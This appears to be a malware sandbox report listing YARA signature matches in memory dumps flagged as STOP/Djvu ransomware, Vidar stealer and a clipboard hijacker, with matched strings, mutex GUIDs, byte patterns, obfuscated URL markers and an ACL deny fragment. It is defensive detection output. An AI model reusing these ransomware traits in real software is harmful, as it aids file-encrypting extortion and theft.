1.0.U59WtZz2Sg.exe.400000.7.raw.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xffe88:$x1: C:\SystemID\PersonalID.txt 0x100334:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xffcf0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x105b28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0x1002ec:$s1: " --AutoStart 0x100300:$s1: " --AutoStart 0x103f48:$s2: --ForNetRes 0x103f10:$s3: --Admin 0x104390:$s4: %username% 0x1044b4:$s5: ?pid= 0x1044c0:$s6: &first=true 0x1044d8:$s6: &first=false 0x1003f4:$s7: delself.bat 0x1043f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x104420:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x104448:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
1.0.U59WtZz2Sg.exe.400000.7.raw.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105b28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
10.0.build2.exe.400000.8.raw.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
11.2.build3.exe.b90000.0.unpack	JoeSecurity_Clipboard_Hijacker	Yara detected Clipboard Hijacker	Joe Security
11.2.build3.exe.b90000.0.unpack	Windows_Trojan_Clipbanker_f9f9e79d	unknown	unknown	0x1203:$a1: 7E 7E 0F B7 04 77 83 F8 41 74 69 83 F8 42 74 64 83 F8 43 74 5F 83
11.2.build3.exe.b90000.0.unpack	Windows_Trojan_Clipbanker_787b130b	unknown	unknown	0xefa:$mutex_setup: 55 8B EC 83 EC 18 53 56 57 E8 F8 F4 FF FF 68 30 30 B9 00 6A 00 6A 00 FF 15 40 40 B9 00 FF 15 2C 40 B9 00 3D B7 00 00 00 75 08 6A 00 FF 15 10 30 B9 00 0xf87:$new_line_check: 0F B7 C2 89 45 EC 0F B7 C2 83 F8 0A 74 43 BA 0D 0A 00 00 66 3B C2 74 39 83 F8 0D 74 34 83 F8 20 74 2F 83 F8 09 74 2A 0xf87:$regex1: 0F B7 C2 89 45 EC 0F B7 C2 83 F8 0A 74 43 BA 0D 0A 00 00 66 3B C2 74 39 83 F8 0D 74 34 83 F8 20 74 2F 83 F8 09 74 2A 0x12ad:$regex2: 6A 34 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E 66 3B C1 74 19 83 F8 35 74 14 83 F8 36 74 0F 83 F8 37 74 ... 0x1335:$regex3: 56 8B F1 56 FF 15 20 40 B9 00 83 F8 5F 0F 85 84 00 00 00 6A 38 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E ...
9.0.U59WtZz2Sg.exe.400000.9.raw.unpack	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth	0xe23ea:$s1: http:// 0x100498:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x100b28:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x100b4b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x10472b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x102626:$s2: \xE8\xF4\xF4\xF0\xF3\xBA\xAF\xAF 0xe23ea:$f1: http://
9.0.U59WtZz2Sg.exe.400000.9.raw.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
9.0.U59WtZz2Sg.exe.400000.9.raw.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xffe88:$x1: C:\SystemID\PersonalID.txt 0x100334:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xffcf0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x105b28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0x1002ec:$s1: " --AutoStart 0x100300:$s1: " --AutoStart 0x103f48:$s2: --ForNetRes 0x103f10:$s3: --Admin 0x104390:$s4: %username% 0x1044b4:$s5: ?pid= 0x1044c0:$s6: &first=true 0x1044d8:$s6: &first=false 0x1003f4:$s7: delself.bat 0x1043f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x104420:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x104448:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
9.0.U59WtZz2Sg.exe.400000.9.raw.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105b28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
9.2.U59WtZz2Sg.exe.400000.0.raw.unpack	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth	0xe23ea:$s1: http:// 0x100498:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x100b28:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x100b4b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x10472b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x102626:$s2: \xE8\xF4\xF4\xF0\xF3\xBA\xAF\xAF 0xe23ea:$f1: http://
9.2.U59WtZz2Sg.exe.400000.0.raw.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
9.2.U59WtZz2Sg.exe.400000.0.raw.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xffe88:$x1: C:\SystemID\PersonalID.txt 0x100334:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xffcf0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x105b28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0x1002ec:$s1: " --AutoStart 0x100300:$s1: " --AutoStart 0x103f48:$s2: --ForNetRes 0x103f10:$s3: --Admin 0x104390:$s4: %username% 0x1044b4:$s5: ?pid= 0x1044c0:$s6: &first=true 0x1044d8:$s6: &first=false 0x1003f4:$s7: delself.bat 0x1043f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x104420:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x104448:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
9.2.U59WtZz2Sg.exe.400000.0.raw.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105b28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
9.0.U59WtZz2Sg.exe.400000.3.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0xcdef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
1.0.U59WtZz2Sg.exe.400000.8.unpack	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth	0xe0dea:$s1: http:// 0xfee98:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0xff528:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0xff54b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x10312b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x101026:$s2: \xE8\xF4\xF4\xF0\xF3\xBA\xAF\xAF 0xe0dea:$f1: http://
1.0.U59WtZz2Sg.exe.400000.8.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
1.0.U59WtZz2Sg.exe.400000.8.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfe888:$x1: C:\SystemID\PersonalID.txt 0xfed34:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfe6f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x104528:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfecec:$s1: " --AutoStart 0xfed00:$s1: " --AutoStart 0x102948:$s2: --ForNetRes 0x102910:$s3: --Admin 0x102d90:$s4: %username% 0x102eb4:$s5: ?pid= 0x102ec0:$s6: &first=true 0x102ed8:$s6: &first=false 0xfedf4:$s7: delself.bat 0x102df8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x102e20:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x102e48:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
1.0.U59WtZz2Sg.exe.400000.8.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x104528:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb
17.0.U59WtZz2Sg.exe.400000.8.unpack	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth	0xe0dea:$s1: http:// 0xfee98:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0xff528:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0xff54b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x10312b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x101026:$s2: \xE8\xF4\xF4\xF0\xF3\xBA\xAF\xAF 0xe0dea:$f1: http://
17.0.U59WtZz2Sg.exe.400000.8.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
17.0.U59WtZz2Sg.exe.400000.8.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfe888:$x1: C:\SystemID\PersonalID.txt 0xfed34:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfe6f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x104528:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfecec:$s1: " --AutoStart 0xfed00:$s1: " --AutoStart 0x102948:$s2: --ForNetRes 0x102910:$s3: --Admin 0x102d90:$s4: %username% 0x102eb4:$s5: ?pid= 0x102ec0:$s6: &first=true 0x102ed8:$s6: &first=false 0xfedf4:$s7: delself.bat 0x102df8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x102e20:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x102e48:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
17.0.U59WtZz2Sg.exe.400000.8.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x104528:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xcdef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
17.2.U59WtZz2Sg.exe.400000.0.unpack	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth	0xe0dea:$s1: http:// 0xfee98:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0xff528:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0xff54b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x10312b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x101026:$s2: \xE8\xF4\xF4\xF0\xF3\xBA\xAF\xAF 0xe0dea:$f1: http://
17.2.U59WtZz2Sg.exe.400000.0.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
17.2.U59WtZz2Sg.exe.400000.0.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfe888:$x1: C:\SystemID\PersonalID.txt 0xfed34:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfe6f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x104528:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfecec:$s1: " --AutoStart 0xfed00:$s1: " --AutoStart 0x102948:$s2: --ForNetRes 0x102910:$s3: --Admin 0x102d90:$s4: %username% 0x102eb4:$s5: ?pid= 0x102ec0:$s6: &first=true 0x102ed8:$s6: &first=false 0xfedf4:$s7: delself.bat 0x102df8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x102e20:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x102e48:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
17.2.U59WtZz2Sg.exe.400000.0.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x104528:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xcdef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
5.0.U59WtZz2Sg.exe.400000.4.unpack	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth	0xe0dea:$s1: http:// 0xfee98:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0xff528:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0xff54b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x10312b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x101026:$s2: \xE8\xF4\xF4\xF0\xF3\xBA\xAF\xAF 0xe0dea:$f1: http://
5.0.U59WtZz2Sg.exe.400000.4.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
5.0.U59WtZz2Sg.exe.400000.4.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfe888:$x1: C:\SystemID\PersonalID.txt 0xfed34:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfe6f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x104528:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfecec:$s1: " --AutoStart 0xfed00:$s1: " --AutoStart 0x102948:$s2: --ForNetRes 0x102910:$s3: --Admin 0x102d90:$s4: %username% 0x102eb4:$s5: ?pid= 0x102ec0:$s6: &first=true 0x102ed8:$s6: &first=false 0xfedf4:$s7: delself.bat 0x102df8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x102e20:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x102e48:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
5.0.U59WtZz2Sg.exe.400000.4.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x104528:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xcdef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
4.2.U59WtZz2Sg.exe.22815a0.1.raw.unpack	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth	0xe0dea:$s1: http:// 0xfee98:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0xff528:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0xff54b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x10312b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x101026:$s2: \xE8\xF4\xF4\xF0\xF3\xBA\xAF\xAF 0xe0dea:$f1: http://
4.2.U59WtZz2Sg.exe.22815a0.1.raw.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
4.2.U59WtZz2Sg.exe.22815a0.1.raw.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfe888:$x1: C:\SystemID\PersonalID.txt 0xfed34:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfe6f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x104528:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfecec:$s1: " --AutoStart 0xfed00:$s1: " --AutoStart 0x102948:$s2: --ForNetRes 0x102910:$s3: --Admin 0x102d90:$s4: %username% 0x102eb4:$s5: ?pid= 0x102ec0:$s6: &first=true 0x102ed8:$s6: &first=false 0xfedf4:$s7: delself.bat 0x102df8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x102e20:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x102e48:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
4.2.U59WtZz2Sg.exe.22815a0.1.raw.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x104528:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xcdef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
6.0.U59WtZz2Sg.exe.400000.8.unpack	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth	0xe0dea:$s1: http:// 0xfee98:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0xff528:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0xff54b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x10312b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x101026:$s2: \xE8\xF4\xF4\xF0\xF3\xBA\xAF\xAF 0xe0dea:$f1: http://
6.0.U59WtZz2Sg.exe.400000.8.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
6.0.U59WtZz2Sg.exe.400000.8.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfe888:$x1: C:\SystemID\PersonalID.txt 0xfed34:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfe6f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x104528:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfecec:$s1: " --AutoStart 0xfed00:$s1: " --AutoStart 0x102948:$s2: --ForNetRes 0x102910:$s3: --Admin 0x102d90:$s4: %username% 0x102eb4:$s5: ?pid= 0x102ec0:$s6: &first=true 0x102ed8:$s6: &first=false 0xfedf4:$s7: delself.bat 0x102df8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x102e20:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x102e48:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
6.0.U59WtZz2Sg.exe.400000.8.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x104528:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb
9.0.U59WtZz2Sg.exe.400000.0.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0xcdef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
17.0.U59WtZz2Sg.exe.400000.7.unpack	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth	0xe0dea:$s1: http:// 0xfee98:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0xff528:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0xff54b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x10312b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x101026:$s2: \xE8\xF4\xF4\xF0\xF3\xBA\xAF\xAF 0xe0dea:$f1: http://
17.0.U59WtZz2Sg.exe.400000.7.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
17.0.U59WtZz2Sg.exe.400000.7.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfe888:$x1: C:\SystemID\PersonalID.txt 0xfed34:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfe6f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x104528:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfecec:$s1: " --AutoStart 0xfed00:$s1: " --AutoStart 0x102948:$s2: --ForNetRes 0x102910:$s3: --Admin 0x102d90:$s4: %username% 0x102eb4:$s5: ?pid= 0x102ec0:$s6: &first=true 0x102ed8:$s6: &first=false 0xfedf4:$s7: delself.bat 0x102df8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x102e20:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x102e48:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
17.0.U59WtZz2Sg.exe.400000.7.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x104528:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xcdef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
16.2.U59WtZz2Sg.exe.22315a0.1.unpack	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth	0xdf7ea:$s1: http:// 0xfd898:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0xfdf28:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0xfdf4b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x101b2b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0xffa26:$s2: \xE8\xF4\xF4\xF0\xF3\xBA\xAF\xAF 0xdf7ea:$f1: http://
16.2.U59WtZz2Sg.exe.22315a0.1.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
16.2.U59WtZz2Sg.exe.22315a0.1.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfd288:$x1: C:\SystemID\PersonalID.txt 0xfd734:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfd0f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x102f28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfd6ec:$s1: " --AutoStart 0xfd700:$s1: " --AutoStart 0x101348:$s2: --ForNetRes 0x101310:$s3: --Admin 0x101790:$s4: %username% 0x1018b4:$s5: ?pid= 0x1018c0:$s6: &first=true 0x1018d8:$s6: &first=false 0xfd7f4:$s7: delself.bat 0x1017f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x101820:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x101848:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
16.2.U59WtZz2Sg.exe.22315a0.1.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x102f28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xc1ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
6.0.U59WtZz2Sg.exe.400000.8.raw.unpack	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth	0xe23ea:$s1: http:// 0x100498:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x100b28:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x100b4b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x10472b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x102626:$s2: \xE8\xF4\xF4\xF0\xF3\xBA\xAF\xAF 0xe23ea:$f1: http://
6.0.U59WtZz2Sg.exe.400000.8.raw.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
6.0.U59WtZz2Sg.exe.400000.8.raw.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xffe88:$x1: C:\SystemID\PersonalID.txt 0x100334:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xffcf0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x105b28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0x1002ec:$s1: " --AutoStart 0x100300:$s1: " --AutoStart 0x103f48:$s2: --ForNetRes 0x103f10:$s3: --Admin 0x104390:$s4: %username% 0x1044b4:$s5: ?pid= 0x1044c0:$s6: &first=true 0x1044d8:$s6: &first=false 0x1003f4:$s7: delself.bat 0x1043f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x104420:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x104448:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
6.0.U59WtZz2Sg.exe.400000.8.raw.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105b28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
17.0.U59WtZz2Sg.exe.400000.0.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0xcdef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
1.0.U59WtZz2Sg.exe.400000.10.raw.unpack	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth	0xe23ea:$s1: http:// 0x100498:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x100b28:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x100b4b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x10472b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x102626:$s2: \xE8\xF4\xF4\xF0\xF3\xBA\xAF\xAF 0xe23ea:$f1: http://
1.0.U59WtZz2Sg.exe.400000.10.raw.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
1.0.U59WtZz2Sg.exe.400000.10.raw.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xffe88:$x1: C:\SystemID\PersonalID.txt 0x100334:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xffcf0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x105b28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0x1002ec:$s1: " --AutoStart 0x100300:$s1: " --AutoStart 0x103f48:$s2: --ForNetRes 0x103f10:$s3: --Admin 0x104390:$s4: %username% 0x1044b4:$s5: ?pid= 0x1044c0:$s6: &first=true 0x1044d8:$s6: &first=false 0x1003f4:$s7: delself.bat 0x1043f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x104420:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x104448:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
1.0.U59WtZz2Sg.exe.400000.10.raw.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105b28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
5.0.U59WtZz2Sg.exe.400000.10.unpack	SUSP_XORed_URL_in_EXE	Detects an XORed URL in an executable	Florian Roth	0xe0dea:$s1: http:// 0xfee98:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0xff528:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0xff54b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x10312b:$s1: \xE8\xF4\xF4\xF0\xBA\xAF\xAF 0x101026:$s2: \xE8\xF4\xF4\xF0\xF3\xBA\xAF\xAF 0xe0dea:$f1: http://
5.0.U59WtZz2Sg.exe.400000.10.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
5.0.U59WtZz2Sg.exe.400000.10.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfe888:$x1: C:\SystemID\PersonalID.txt 0xfed34:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfe6f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x104528:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfecec:$s1: " --AutoStart 0xfed00:$s1: " --AutoStart 0x102948:$s2: --ForNetRes 0x102910:$s3: --Admin 0x102d90:$s4: %username% 0x102eb4:$s5: ?pid= 0x102ec0:$s6: &first=true 0x102ed8:$s6: &first=false 0xfedf4:$s7: delself.bat 0x102df8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x102e20:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x102e48:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
5.0.U59WtZz2Sg.exe.400000.10.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x104528:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xcdef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
5.0.U59WtZz2Sg.exe.400000.1.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0xcdef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
